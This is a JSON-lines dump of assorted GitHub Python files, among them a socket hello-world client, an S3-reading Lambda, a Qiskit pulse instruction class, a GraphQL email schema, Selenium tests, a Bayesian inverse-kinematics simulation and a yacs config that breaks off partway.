+{"seq_id":"72136957634","text":"import socket\n\nHOST = \"144.22.204.157\" # IP Server Address\nPORT = 65123 # Port to send requests\n\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n s.connect((HOST, PORT))\n \n s.sendall(b\"hello world\")\n \n data = s.recv(1024)\n\nprint(\"Received\", repr(data))","repo_name":"RobertoAnguloDeveloper/sockets","sub_path":"CLIENTS/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6637423262","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Sep 10 12:31:20 2018\n\n@author: Anuradha\n\"\"\"\n\ndef is_multiple(n,m):\n if n%m ==0:\n return True\n else:\n return False\nif __name__ == '__main__':\n print(is_multiple(4567392,2))\n\n","repo_name":"Anusri29/MIT_6.00x","sub_path":"is_multiply.py","file_name":"is_multiply.py","file_ext":"py","file_size_in_byte":239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1003191428","text":"import boto3\nfrom botocore.exceptions import ClientError\nfrom pathlib import Path\nfrom uuid import uuid4\nimport json\nfrom collections import OrderedDict\nimport pandas as pd\nimport time\nimport numpy as np\n\n'''\nApp contains the main logic for getting/filtering the results data\n'''\nclass App:\n\n def __init__(self):\n self.main_key = 'main.json'\n self.buckets = {\n 'main': 'alnn-main-bucket-8nyb87yn8',\n 'animations': 'alnn-animations-bucket-8nyb87yn8',\n 'zipfiles': 'alnn-zipfiles-bucket-8nyb87yn8'\n }\n\n def get_body(self):\n main = self.download_main_as_df()\n out = None\n if main is None:\n empty = []\n empty.append({'r1': 'v1', 'Animation': 'https://www.youtube.com/watch?v=ONqETis6nX0'})\n empty.append({'r1': 'v2', 'Animation': 'https://www.youtube.com/watch?v=ONqETis6nX0'})\n out = empty\n else:\n body = [self.format_row(row) for _, row in main.iterrows()]\n out = body\n return json.dumps(out)\n\n def format_row(self, row):\n out = OrderedDict({})\n row = row.to_dict()\n out['Name'] = row['input']['experiment_name']\n out['Time'] = str(row['timestamp']).split(\" \")[0]\n out['Hidden_Nodes'] = row['input']['model_args']['hidden_nodes']\n out['Learning_Rate'] = row['input']['model_args']['lr']\n out['Weight_Decay'] = row['input']['model_args']['wd']\n out['Epochs'] = row['input']['model_args']['epochs']\n out['Scoring'] = row['input']['model_args']['scoring_heuristic'].split(\"_\")[0]\n out['Loss'] = row['input']['model_args']['loss_function']\n out['Optim'] = row['input']['model_args']['optimizer_function']\n out['Max_Loss'] = np.round(row['analytics']['max_loss'], 3)\n out['Avg_Loss'] = np.round(row['analytics']['avg_loss'], 3)\n out['Data'] = row['input']['data']\n out['Data_Args'] = ', '.join([str(v) for _, v in row['input']['data_args'].items()])\n out['Animation'] = self.get_obj_url(self.buckets['animations'], row['cloud_graphs']['animation_key'])\n return out\n\n def s3client(self):\n client = boto3.client(\"s3\")\n return client\n\n def download_main_as_df(self):\n s3 = self.s3client()\n try:\n tmpfile = Path(f'/tmp/alnn_main_download_{int(time.time())}')\n tmpfile.touch()\n tmpfilepath = str(tmpfile.resolve())\n with open(tmpfilepath, 'wb') as f:\n s3.download_fileobj(self.buckets['main'], self.main_key, f)\n main = pd.read_json(tmpfilepath)\n del main['output']\n out = main.loc[main.index[::-1]]\n tmpfile.unlink()\n return out\n except ClientError:\n return None\n\n def get_obj_url(self, bucket, key):\n url_template = \"https://{}.s3.us-east-2.amazonaws.com/{}\"\n return url_template.format(bucket, key)\n\ndef lambda_handler(event, context):\n app = App()\n body = app.get_body()\n out = {\n 'statusCode': 200, \n 'headers': {\n 'Access-Control-Allow-Headers': 'Content-Type',\n 'Access-Control-Allow-Origin': '*',\n 'Access-Control-Allow-Methods': 'OPTIONS,POST,GET',\n 'content-type': 'application/json',\n },\n 'body': body\n }\n return out\n\n# if __name__ =='__main__':\n# print(str(App().download_main_as_df().loc[0]['timestamp']).split(\" \")[0])","repo_name":"jackhwolf/ALNN-api","sub_path":"lambda_function.py","file_name":"lambda_function.py","file_ext":"py","file_size_in_byte":3477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12515931437","text":"# Time complexity: O(n)\n# There are three loops, each loop scan entire array once.\n# Lookup an array by index is O(1)\n#\n# Space complexity: O(n)\n# Left and right array store n elements.\ndef prod_except_self1(nums):\n L = len(nums) * [1]\n R = len(nums) * [1]\n for i in range(1, len(nums)):\n L[i] = nums[i-1] * L[i-1]\n for i in reversed(range(len(nums) - 1)):\n R[i] = nums[i+1] * R[i+1]\n return [L[i] * R[i] for i in range(len(nums))]","repo_name":"satojkovic/algorithms","sub_path":"problems/prod_except_self.py","file_name":"prod_except_self.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"28431297543","text":"#esfera.py\r\n\r\n#Author: Lucas Pangaro\r\n#Mail: Pangaro.lucas@gmail.com\r\n#Date: 10/3/21\r\n\r\n# ..:ENUNCIADO 1.13:..\r\n#En tu directorio de trabajo de esta clase, escribí un programa llamado esfera.py que le pida al usuario que ingrese por teclado\r\n# el radio r de una esfera y calcule e imprima el volumen de la misma. Sugerencia: recordar que el volúmen de una esfera es 4/3 πr^3.\r\npi = 3.141592654\r\n\r\nprint('\\nHola! este es el programa para calcular el volumen de una esfera.')\r\nradio = input('Por favor ingrese el radio de la esfera: ')\r\n\r\nvolumen = (4/3)*pi*(float (radio)**3)\r\nprint('Aguarde un instante, estamos procesando los datos...\\nEl volumen de una esfera de radio', radio,'es de', round(volumen, 3))\r\n\r\n\r\n'''\r\nOutput:\r\nHola! este es el programa para calcular el volumen de una esfera.\r\nPor favor ingrese el radio de la esfera: 6\r\nAguarde un instante, estamos procesando los datos...\r\nEl volumen de una esfera de radio 6 es de 904.779\r\n'''","repo_name":"lpangaro/python-UNSAM","sub_path":"Notas/ejercicios_python/Clase01/esfera.py","file_name":"esfera.py","file_ext":"py","file_size_in_byte":948,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73973997954","text":"#-------------------------------------------------------------------------------\r\n# Pruebas con errores, excepciones y otros\r\n# Created: 24/10/2014\r\n#-------------------------------------------------------------------------------\r\nimport sys\r\n\r\ndef main():\r\n a=32\r\n b=0\r\n\r\n #probando division por cero\r\n try:\r\n c = a/b\r\n print(\"division: \", str(c))\r\n except ZeroDivisionError:\r\n print(\"Error de division cero\")\r\n except:\r\n print('Error detectado: ', sys.exc_info()[0])\r\n\r\n print ('segundo error')\r\n try:\r\n c = a/b\r\n print(\"division: \", str(c))\r\n except Exception as inst:\r\n print(type(inst))\r\n print(inst.args)\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"arkadoel/AprendiendoPython","sub_path":"PrimerosPasos/sesion7.py","file_name":"sesion7.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"8809880779","text":"import warnings\n\nfrom typing import List, Optional\n\nfrom qiskit.pulse.channels import MemorySlot, RegisterSlot, AcquireChannel\nfrom qiskit.pulse.configuration import Kernel, Discriminator\nfrom qiskit.pulse.exceptions import PulseError\nfrom qiskit.pulse.instructions.instruction import Instruction\n\n\nclass Acquire(Instruction):\n \"\"\"The Acquire instruction is used to trigger the ADC associated with a particular qubit;\n e.g. instantiated with AcquireChannel(0), the Acquire command will trigger data collection\n for the channel associated with qubit 0 readout. This instruction also provides acquisition\n metadata:\n\n * the number of cycles during which to acquire (in terms of dt),\n\n * the register slot to store classified, intermediary readout results,\n\n * the memory slot to return classified results,\n\n * the kernel to integrate raw data for each shot, and\n\n * the discriminator to classify kerneled IQ points.\n \"\"\"\n\n def __init__(self,\n duration: int,\n channel: AcquireChannel,\n mem_slot: Optional[MemorySlot] = None,\n reg_slot: Optional[RegisterSlot] = None,\n kernel: Optional[Kernel] = None,\n discriminator: Optional[Discriminator] = None,\n name: Optional[str] = None):\n \"\"\"Create a new Acquire instruction.\n\n Args:\n duration: Length of time to acquire data in terms of dt.\n channel: The channel that will acquire data.\n mem_slot: The classical memory slot in which to store the classified readout result.\n reg_slot: The fast-access register slot in which to store the classified readout\n result for fast feedback.\n kernel: A ``Kernel`` for integrating raw data.\n discriminator: A ``Discriminator`` for discriminating kerneled IQ data into 0/1\n results.\n name: Name of the instruction for display purposes.\n\n Raises:\n PulseError: If channels are supplied, and the number of register and/or memory slots\n does not equal the number of channels.\n \"\"\"\n if isinstance(channel, list) or isinstance(mem_slot, list) or isinstance(reg_slot, list):\n raise PulseError(\"The Acquire instruction takes only one AcquireChannel and one \"\n \"classical memory destination for the measurement result.\")\n\n if not (mem_slot or reg_slot):\n raise PulseError('Neither MemorySlots nor RegisterSlots were supplied.')\n\n self._kernel = kernel\n self._discriminator = discriminator\n\n all_channels = [chan for chan in [channel, mem_slot, reg_slot] if chan is not None]\n super().__init__((duration, channel, mem_slot, reg_slot),\n duration, all_channels, name=name)\n\n @property\n def channel(self) -> AcquireChannel:\n \"\"\"Return the :py:class:`~qiskit.pulse.channels.Channel` that this instruction is\n scheduled on.\n \"\"\"\n return self.operands[1]\n\n @property\n def kernel(self) -> Kernel:\n \"\"\"Return kernel settings.\"\"\"\n return self._kernel\n\n @property\n def discriminator(self) -> Discriminator:\n \"\"\"Return discrimination settings.\"\"\"\n return self._discriminator\n\n @property\n def acquire(self) -> AcquireChannel:\n \"\"\"Acquire channel to acquire data. The ``AcquireChannel`` index maps trivially to\n qubit index.\n \"\"\"\n return self.channel\n\n @property\n def mem_slot(self) -> MemorySlot:\n \"\"\"The classical memory slot which will store the classified readout result.\"\"\"\n return self.operands[2]\n\n @property\n def reg_slot(self) -> RegisterSlot:\n \"\"\"The fast-access register slot which will store the classified readout result for\n fast-feedback computation.\n \"\"\"\n return self.operands[3]\n\n @property\n def acquires(self) -> List[AcquireChannel]:\n \"\"\"Acquire channels to be acquired on.\"\"\"\n warnings.warn(\"Acquire.acquires is deprecated. Use the channel attribute instead.\",\n DeprecationWarning)\n return [self.channel]\n\n @property\n def mem_slots(self) -> List[MemorySlot]:\n \"\"\"MemorySlots.\"\"\"\n warnings.warn(\"Acquire.mem_slots is deprecated. Use the mem_slot attribute instead.\",\n DeprecationWarning)\n return [self.mem_slot]\n\n @property\n def reg_slots(self) -> List[RegisterSlot]:\n \"\"\"RegisterSlots.\"\"\"\n warnings.warn(\"Acquire.reg_slots is deprecated. Use the reg_slot attribute instead.\",\n DeprecationWarning)\n return [self.reg_slot]\n\n def __repr__(self) -> str:\n return \"{}({}{}{}{}{}{})\".format(\n self.__class__.__name__,\n self.duration,\n ', ' + str(self.channel),\n ', ' + str(self.mem_slot) if self.mem_slot else '',\n ', ' + str(self.reg_slot) if self.reg_slot else '',\n ', ' + str(self.kernel) if self.kernel else '',\n ', ' + str(self.discriminator) if self.discriminator else '')\n","repo_name":"OscarJHernandez/qc_portfolio_optimization","sub_path":"venv/lib/python3.8/site-packages/qiskit/pulse/instructions/acquire.py","file_name":"acquire.py","file_ext":"py","file_size_in_byte":5191,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"61"} +{"seq_id":"36903751070","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n\n__title__ = ''\n\n__author__ = 'g1695'\n\n__mtime__ = '2018/10/7'\n\n\"\"\"\n\nimport hashlib\nimport os\n\n\ndef get_md5_01(file_path):\n md5 = None\n if os.path.isfile(file_path):\n f = open(file_path, 'rb')\n md5_obj = hashlib.md5()\n md5_obj.update(f.read())\n hash_code = md5_obj.hexdigest()\n f.close()\n md5 = str(hash_code).lower()\n return md5\ndef get_md5_02(file):\n md5 = None\n f = file\n md5_obj = hashlib.md5()\n md5_obj.update(f.read())\n hash_code = md5_obj.hexdigest()\n f.close()\n md5 = str(hash_code).lower()\n return md5\ndef get_works(all_works):\n all_works_ = []\n md5 = \"ec1d1b1554a049dad66ea68a306bfe1e\"\n # 比较 md5 值判断是否显示\n # md5=\"ec1d1b1554a049dad66ea68a306bf1e\"\n for all_work in all_works:\n image_path = all_work.image.path\n img_md5 = get_md5_01(image_path)\n if md5 == img_md5:\n continue\n all_works_.append(all_work)\n return all_works_\n\n\nif __name__ == \"__main__\":\n file_path = r'D:\\Python_project\\Django\\AI_DCS\\media\\works\\2018\\10\\logo_dZQMlXb.png'\n md5_01 = get_md5_01(file_path)\n print(md5_01)\n # 947671c4d596a670e7b7d3e5abe23847\n # 947671c4d596a670e7b7d3e5abe23847","repo_name":"Gaoyongxian666/AI_DCS","sub_path":"apps/utils/md5_utils.py","file_name":"md5_utils.py","file_ext":"py","file_size_in_byte":1255,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"6403632668","text":"# -*- coding: iso8859-15 -*-\nimport os\nimport sys\n\nappdir = os.path.abspath(os.path.dirname(__file__))\nprojdir = os.path.abspath(os.path.join(appdir, \"..\"))\nif projdir not in sys.path:\n sys.path.append(appdir)\n sys.path.append(projdir)\n\nimport graphene\nfrom core.project_globals import app\nfrom config import URL_PREFIX\nfrom flask import request\nfrom flask_graphql import GraphQLView\nfrom graphene import relay\nfrom graphql.execution.executors.asyncio import AsyncioExecutor\n\nfrom core.mail.mail_utils import (\n create_email,\n save_email_token_client,\n send,\n send_async,\n valid_token,\n)\n\n\nclass EmailAttribute(graphene.InputObjectType):\n sender = graphene.String(description=\"The email of the sender user.\")\n password = graphene.String(description=\"The password of the sender email.\")\n subject = graphene.String(description=\"The subject of the email.\")\n body = graphene.String(description=\"The body of the email. HTML is allowed.\")\n recipients = graphene.List(\n graphene.String, description=\"The recipients of the email\"\n )\n bcc = graphene.List(\n graphene.String, description=\"The bcc recipients of the email\", default_value=[]\n )\n cc = graphene.List(\n graphene.String, description=\"The cc recipients of the email\", default_value=[]\n )\n filenames = graphene.List(\n graphene.String, description=\"The attachments of the email\", default_value=[]\n )\n\n\nclass SendEmailExternal(graphene.Mutation):\n \"\"\"Mutation to send email.\"\"\"\n\n success = graphene.Boolean(description=\"True if the config was saved.\")\n\n class Arguments:\n email_info = EmailAttribute(required=True)\n\n @staticmethod\n async def mutate(self, info, email_info: EmailAttribute):\n token = request.headers.get(\"X-Email-Token\")\n if not token:\n raise Exception(\"Missing X-Email-Token header\")\n\n try:\n if not valid_token(token):\n raise Exception(\"Invalid X-Email-Token\")\n except:\n raise Exception(\"Invalid X-Email-Token\")\n\n msg = create_email(\n to=email_info.recipients,\n subject=email_info.subject,\n html=email_info.body,\n cc=email_info.cc,\n bcc=email_info.bcc,\n filenames=email_info.filenames,\n external=True,\n )\n await send_async(msg=msg)\n\n return SendEmailExternal(success=True)\n\n\nclass PostToken(graphene.Mutation):\n \"\"\"Mutation to post email token from Upstage to accept request send email to Upstage.\"\"\"\n\n success = graphene.Boolean(description=\"True if post token success.\")\n\n class Arguments:\n token = graphene.String(required=True)\n\n def mutate(self, info, token):\n save_email_token_client(token)\n\n return PostToken(success=True)\n\n\nclass Query(graphene.ObjectType):\n node = relay.Node.Field()\n\n\nclass Mutation(graphene.ObjectType):\n sendEmailExternal = SendEmailExternal.Field()\n postToken = PostToken.Field()\n\n\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nemail_schema = graphene.Schema(query=Query, mutation=Mutation)\napp.add_url_rule(\n f\"/{URL_PREFIX}/email_graphql/\",\n view_func=GraphQLView.as_view(\n \"email_graphql\", schema=email_schema, graphiql=True, executor=AsyncioExecutor()\n ),\n)\n","repo_name":"upstage-org/upstage","sub_path":"core/mail/schema.py","file_name":"schema.py","file_ext":"py","file_size_in_byte":3354,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"61"} +{"seq_id":"905520213","text":"from __future__ import unicode_literals, division, absolute_import\nfrom builtins import * # noqa pylint: disable=unused-import, redefined-builtin\n\nimport logging\n\nfrom flexget import plugin\nfrom flexget.event import event\n\nlog = logging.getLogger('extension')\n\n\nclass ModifyExtension(object):\n \"\"\"\n Allows specifying file extension explicitly when all other built-in detection mechanisms fail.\n\n Example:\n\n extension: nzb\n \"\"\"\n\n schema = {'type': ['string', 'number']}\n\n def on_task_modify(self, task, config):\n ext = str(config)\n if ext.startswith('.'):\n ext = ext[1:]\n\n for entry in task.entries:\n log.debug('`%s` filename is `%s`' % (entry['title'], entry.get('filename', 'N/A')))\n entry['filename'] = '%s.%s' % (entry.get('filename', entry['title']), ext)\n log.debug('filename is now `%s`' % entry['filename'])\n\n\n@event('plugin.register')\ndef register_plugin():\n plugin.register(ModifyExtension, 'extension', api_ver=2)\n","repo_name":"bragatrosco/flexget","sub_path":"lib/python2.7/site-packages/flexget/plugins/modify/extension.py","file_name":"extension.py","file_ext":"py","file_size_in_byte":1026,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"5853931169","text":"\nimport os,time\nfrom math import cos,sin,radians,pi\nimport numpy as np\nfrom scipy import optimize\nfrom matplotlib import pyplot as plt\nimport pymc\nimport bayesik as bik\n\n\n\n\ndef add_noise(r, sigma=0.002):\n\treturn r + sigma * np.random.randn( *r.shape )\n\n\ndef get_true_marker_positions(q=(0,0,0), length=0.45, mplength=0.1, mpwidth=0.04):\n\t# set original (noiseless) marker positions\n\tll,ww = 0.5*mplength, 0.5*mpwidth\n\tr = [0.7*length,0] + np.array([ [-ll,-ww], [ll,-ww], [ll,ww], [-ll,ww] ])\n\t# transform marker positions:\n\trt = fk(r, q)\n\treturn rt\n\n\ndef fk(r, q):\n\tdx,dy,dphi = q\n\ts,c = sin(dphi), cos(dphi)\n\t# T0 = np.array( [[1,0,-dx],[0,1,-dy],[0,0,1]] ) # translate to rotation center\n\tT1 = np.array( [[c,-s,0], [s,c,0], [0,0,1]] ) # rotate\n\tT2 = np.array( [[1,0,dx], [0,1,dy], [0,0,1]] ) # translate back to original location\n\t# T = T2 @ T1 @ T0\n\t# T = T0 @ T1 @ T2\n\tT = T2 @ T1\n\trh = np.vstack([r.T, np.ones(r.shape[0])]).T\n\trnew = (T @ rh.T).T\n\treturn rnew[:,:2]\n\n\ndef ik_ls(r0, r1, q0=[0,0,0]):\n\tdef objfn(x, r0, r1):\n\t\tr0t = fk(r0, x)\n\t\treturn np.linalg.norm(r0t-r1, axis=1).sum()\n\tq = optimize.minimize(objfn, q0, args=(r0,r1)).x\n\treturn q\n\n\ndef ik_bayes_model(robs0, robs1, priors):\n\t# assemble prior parameters:\n\tmarker_tau0 = 1. / ( priors['marker']['upper']**2 ) # lower limit for marker precision prior (i.e., upper limit for SD)\n\tmarker_tau1 = 1. / ( priors['marker']['lower']**2 ) # upper limit for marker precision prior (i.e., lower limit for SD)\n\ttrans_mu = priors['translation']['mu']\n\ttrans_tau = 1. / ( priors['translation']['sigma']**2 )\n\trot_mu = priors['rotation']['mu']\n\trot_tau = 1. / ( priors['rotation']['sigma']**2 )\n\t# construct priors:\n\ttau = pymc.Uniform(\"tau\", marker_tau0, marker_tau1)\n\tr = pymc.Normal(\"r\", trans_mu, trans_tau, size=2, value=trans_mu)\n\tphi = pymc.Normal(\"phi\", rot_mu, rot_tau, value=rot_mu)\n\t# create deterministic model\n\t@pymc.deterministic\n\tdef observations_model(r=r, phi=phi):\n\t\tq = (r[0], r[1], phi) # generalized transformation parameters\n\t\trt = fk(robs0, q) # forward kinematics for first frame's (noisy) marker positions\n\t\treturn rt\n\t# assemble Bayesian model:\n\tbmodel = pymc.Normal(\"qobs\", observations_model, tau, value=robs1, observed=True)\n\treturn bmodel, tau, r, phi\n\n\ndef ik_bayes(robs0, robs1, priors, sample_options=None, progress_bar=True):\n\tif sample_options is None:\n\t\tsample_options = dict(niter=1000, burn=500, thin=1)\n\tmodel = ik_bayes_model(robs0, robs1, priors)\n\tmcmc = pymc.MCMC( model )\n\tniter,burn,thin = sample_options['niter'], sample_options['burn'], sample_options['thin']\n\tmcmc.sample(niter*thin+burn, burn, thin, progress_bar=progress_bar)\n\tif progress_bar:\n\t\tprint() # the pymc progress bar does not print a newline character when complete\n\t# assemble results:\n\tR = mcmc.trace('r')[:]\n\tPHI = mcmc.trace('phi')[:]\n\tQ = np.vstack( [R.T, PHI] ).T\n\tq = Q.mean(axis=0) # mle for transformation parameters\n\treturn q\n\n\n\n\n\n#(0) Single simulation iteration:\n# user parameters:\nseed = 1 # random number generator seed (for noisy marker positions only)\nlength = 0.450 # segment length\nsigma = 0.002 # marker noise (standard deviation)\nq0 = np.array([0, 0, radians(30)]) # true initial pose\nq1 = np.array([0.05, 0, radians(60)]) # true final pose\n# derived parameters:\nnp.random.seed(seed)\nqtrue = q1 - q0 # true transformation parameters\nr0 = get_true_marker_positions(q0, length=length) # true initial marker positions\nr1 = get_true_marker_positions(q1, length=length) # true final marker positions\nr0n = add_noise(r0) # noisy initial marker positions\nr1n = add_noise(r1) # noisy final marker positions\n# least-squares solutions:\nqh = bik.ik.halvorsen(r0n, r1n)\nqs = bik.ik.soderkvist(r0n, r1n)\nqls = ik_ls(r0n, r1n, q0=qs)\n# Bayesian solution:\nsample_options = dict(niter=1000, burn=500, thin=1) # MCMC sampling options\nprior_marker_error = dict(lower=0.1*sigma, upper=10*sigma) # Uniform marker error prior\nprior_translation = dict(mu=qs[:2], sigma=0.001) # Normal translation prior\nprior_rotation = dict(mu=qs[2], sigma=pi/40) # Normal rotation prior\npriors = dict(marker=prior_marker_error, translation=prior_translation, rotation=prior_rotation)\nqb = ik_bayes(r0n, r1n, priors, sample_options=sample_options)\n# report results:\nbik.util.report_sim_iteration(qtrue, [qh,qs,qls,qb], absolute_q=True, labels=['Halvorsen', 'Soderkvsit', 'LS', 'Bayes'])\n# plot:\nplt.close('all')\nplt.figure()\nax = plt.axes()\nax.plot(r0[:,0], r0[:,1], 'ko', ms=10)\nax.plot(r1[:,0], r1[:,1], 'ro', ms=10)\nax.plot(r0n[:,0], r0n[:,1], 'ko', ms=5, mfc='w')\nax.plot(r1n[:,0], r1n[:,1], 'ro', ms=5, mfc='w')\n### plot mean\nm0,m1 = r0.mean(axis=0), r1.mean(axis=0)\nax.plot([q0[0], m0[0]], [q0[1], m0[1]], 'k-', lw=3)\nax.plot([q1[0], m1[0]], [q1[1], m1[1]], 'r-', lw=3)\nax.axis('equal')\nplt.show()\n\n\n\n\n\n# #(1) Multiple iterations:\n# # user parameters:\n# niter = 1000 # number of iterations (marker position datasets) to test\n# seed = 1 # random number generator seed (for noisy marker positions only)\n# length = 0.450 # segment length\n# sigma = 0.002 # marker noise (standard deviation)\n# q0 = np.array([0, 0, radians(30)]) # true initial pose\n# q1 = np.array([0.1, 0, radians(60)]) # true final pose\n# fnameNPZ = os.path.join( bik.dirREPO, 'Data', f'twoframe.npz')\n# # derived parameters:\n# qtrue = q1 - q0 # true transformation parameters\n# r0 = get_true_marker_positions(q0, length=length) # true initial marker positions\n# r1 = get_true_marker_positions(q1, length=length) # true final marker positions\n#\n# # run simulation:\n# np.random.seed(seed)\n# Q,QH,QS,QLS,QB = [np.zeros( (niter, 3) ) for i in range(5)]\n# TH,TS,TLS,TB = [np.zeros(niter) for i in range(4)]\n# for i in range(niter):\n# \tprint( f'Iteration {i+1} of {niter}...' )\n# \tr0n = add_noise(r0) # noisy initial marker positions\n# \tr1n = add_noise(r1) # noisy final marker positions\n# \t# least squares IK (Halvorsen):\n# \tt0 = time.time()\n# \tqh = bik.ik.halvorsen(r0n, r1n)\n# \tth = time.time() - t0\n# \t# least squares IK (Soderkvist):\n# \tt0 = time.time()\n# \tqs = bik.ik.soderkvist(r0n, r1n)\n# \tts = time.time() - t0\n# \t# least squares (scipy):\n# \tt0 = time.time()\n# \tqls = ik_ls(r0n, r1n, qtrue)\n# \ttls = time.time() - t0\n# \t# Bayesian IK:\n# \tt0 = time.time()\n# \t# Bayesian priors:\n# \t# bit,bb,bth = (10000,1000,1) if fast else (1e5,1e4,5)\n# \t# sample_options = dict(niter=1000, burn=500, thin=1) # MCMC sampling options (fast, to check for errors)\n# \t# sample_options = dict(niter=10000, burn=1000, thin=1) # MCMC sampling options (fast, to check preliminary results)\n# \tsample_options = dict(niter=1e5, burn=1e4, thin=5) # MCMC sampling options\n# \tprior_marker_error = dict(lower=0.1*sigma, upper=10*sigma) # Uniform marker error prior\n# \tprior_translation = dict(mu=qs[:2], sigma=0.001) # Normal translation prior\n# \tprior_rotation = dict(mu=qs[2], sigma=pi/40) # Normal rotation prior\n# \tpriors = dict(marker=prior_marker_error, translation=prior_translation, rotation=prior_rotation)\n# \tqb = ik_bayes(r0n, r1n, priors, sample_options=sample_options)\n# \ttb = time.time() - t0\n# \t### save results:\n# \t[Q[i], QH[i], QS[i], QLS[i], QB[i], TH[i], TS[i], TLS[i], TB[i]] = [qtrue, qh, qs, qls, qb, th, ts, tls, tb]\n# \tnp.savez(fnameNPZ, Q=Q, QH=QH, QS=QS, QLS=QLS, QB=QB, TH=TH, TS=TS, TLS=TLS, TB=TB)\n# \t### report:\n# \tbik.util.report_sim_iteration(qtrue, [qh,qs,qls,qb], labels=('Halvorsen','Soderkvist','LS','Bayes'), absolute_q=True)\n# \tbik.util.report_sim_summary(Q, [QH, QS, QLS, QB], i, [TH, TS, TLS, TB], labels=('Halvorsen','Soderkvist','LS','Bayes'))\n# \tprint('\\n\\n\\n')\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"0todd0000/BayesIK","sub_path":"Python/sim_twoframe.py","file_name":"sim_twoframe.py","file_ext":"py","file_size_in_byte":8399,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"17620733673","text":"import unittest\n\nfrom SelTestBase import SelTestBase\n\nclass TestDevices(SelTestBase):\n \"\"\"Defines an object that runs tests against a Device Class\"\"\"\n \n def testDeviceClass(self):\n \"\"\"Run tests on the Devices page\"\"\"\n self.waitForElement(\"link=Devices\")\n self.selenium.click(\"link=Devices\")\n self.waitForElement(\"link=Templates\")\n self.selenium.click(\"link=Templates\")\n self.addDialog(addType=\"TemplatesaddTemplate\", new_id=(\"text\", \"testingString\"))\n self.deleteDialog(deleteType=\"TemplatesdeleteTemplates\", deleteMethod=\"manage_deleteRRDTemplates:method\",\n pathsList=\"ids:list\", form_name=\"templates\")\n \n def testEditZProperty(self):\n \"\"\"Test changing zCommandProtocol in /Server from ssh to telnet and back\"\"\"\n \n # Navigate to zProperites page of /Server\n self.selenium.click(\"link=Devices\")\n self.selenium.wait_for_page_to_load(self.WAITTIME)\n self.selenium.click(\"link=Server\")\n self.selenium.wait_for_page_to_load(self.WAITTIME)\n self.selenium.click(\"link=zProperties\")\n self.selenium.wait_for_page_to_load(self.WAITTIME)\n \n # Enter new value and make sure everything's ok\n self.selenium.select(\"zCommandProtocol\", \"telnet\")\n self.selenium.click(\"saveZenProperties:method\")\n self.selenium.wait_for_page_to_load(self.WAITTIME)\n self.assert_(self.selenium.get_value(\"zCommandProtocol\") == \"telnet\")\n # Hardcoding table row is gross, but don't have the javascript to find it by value\n# self.assert_(self.selenium.get_table(\"zPropertiesConfiguration.13.3\") == \"/Server\")\n \n # Change it back and make sure everything's the way it was\n self.selenium.select(\"propname\", \"zCommandProtocol\")\n self.selenium.click(\"deleteZenProperty:method\")\n self.selenium.wait_for_page_to_load(self.WAITTIME)\n self.assert_(self.selenium.get_value(\"zCommandProtocol\") == \"ssh\")\n # Ditto gross\n# self.assert_(self.selenium.get_table(\"zPropertiesConfiguration.13.3\") == \"/\")\n \nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"zenoss/zenoss-prodbin","sub_path":"Products/ZenUITests/tests/selenium/TestDevices.py","file_name":"TestDevices.py","file_ext":"py","file_size_in_byte":2179,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"61"} +{"seq_id":"21407129129","text":"from yacs.config import CfgNode as CN\n\ndef get_default_cfg_inference():\n \"\"\"Get a yacs CfgNode object with default values.\"\"\"\n # Return a clone so that the defaults will not be altered\n # This is for the \"local variable\" use pattern\n cfg = CN()\n\n # Event Represnetation Details\n cfg.EVENT = CN()\n cfg.EVENT.event_representation = 'magenta'\n cfg.EVENT.vocab_file_path = '../data/performance_vocab.txt'\n\n # Model related parameters\n cfg.MODEL = CN()\n cfg.MODEL.model_directory = ''\n cfg.MODEL.memory_length = 100\n cfg.MODEL.src_mem_len = 100\n cfg.MODEL.checkpoint_name = 'checkpoint.pt'\n cfg.MODEL.device = \"gpu\"\n cfg.MODEL.debug = False\n\n # Sampling related parameters\n cfg.SAMPLING = CN()\n cfg.SAMPLING.technique = 'topk'\n cfg.SAMPLING.threshold = 32.0\n cfg.SAMPLING.temperature = 0.95\n\n # Model related parameters\n cfg.GENERATION = CN()\n cfg.GENERATION.generation_length = 100\n cfg.GENERATION.duration_based = False\n cfg.GENERATION.generation_duration = 30 # This duration is based on the time_shift_token in the vocab, which is not\n # exactly time in MIDI because of tempo\n cfg.GENERATION.max_generation_length = 10000 # When flag duration is on, this is maximum generation length\n\n # Input related parameters\n cfg.INPUT = CN()\n cfg.INPUT.time_extension = True\n cfg.INPUT.conditional_input_melody = ''\n cfg.INPUT.num_conditional_tokens = 100\n cfg.INPUT.conditional_duration = 10\n\n cfg.INPUT.harmonization = ''\n cfg.INPUT.exclude_bos_token = True\n cfg.INPUT.num_midi_files = 5\n cfg.INPUT.num_empty_tokens_to_ignore = 0\n\n # Event 